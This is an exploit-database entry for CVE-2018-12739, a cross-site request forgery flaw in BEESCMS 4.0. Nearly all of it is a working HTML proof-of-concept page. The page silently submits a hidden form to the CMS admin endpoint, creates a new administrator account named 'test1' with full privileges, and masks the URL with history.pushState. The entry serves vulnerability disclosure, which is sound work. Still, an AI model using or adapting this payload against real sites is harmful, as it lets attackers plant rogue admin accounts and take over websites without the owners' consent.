BEESCMS 4.0 - Cross-Site Request Forgery (Add Admin)

EDB-ID: 44952
Author: bay0net
Published: 2018-06-28
CVE: CVE-2018-12739
Type: Webapps
Platform: PHP
Vulnerable App: N/A

 # Date: 2018-06-25 
# Exploit Author: bay0net
# Vendor Homepage: https://www.cnblogs.com/v1vvwv/p/9226389.html
# Software Link: http://www.beescms.com/
# Version: BEESCMS - V4.0
# CVE : CVE-2018-12739

A CSRF vulnerability exists in BEESCMS_V4.0: The administrator can be added arbitrarily.

The payload for attack is as follows.

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://10.211.55.17/beescms/admin/admin_admin.php?nav=list_admin_user&admin_p_nav=user" method="POST" enctype="multipart/form-data">
<input type="hidden" name="admin_name" value="test1" />
<input type="hidden" name="admin_password" value="test1" />
<input type="hidden" name="admin_password2" value="test1" />
<input type="hidden" name="admin_nich" value="test1" />
<input type="hidden" name="purview" value="1" />
<input type="hidden" name="admin_admin" value="" />
<input type="hidden" name="admin_mail" value="" />
<input type="hidden" name="admin_tel" value="" />
<input type="hidden" name="is_disable" value="0" />
<input type="hidden" name="action" value="save_admin" />
<input type="hidden" name="submit" value="确定" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

Related Posts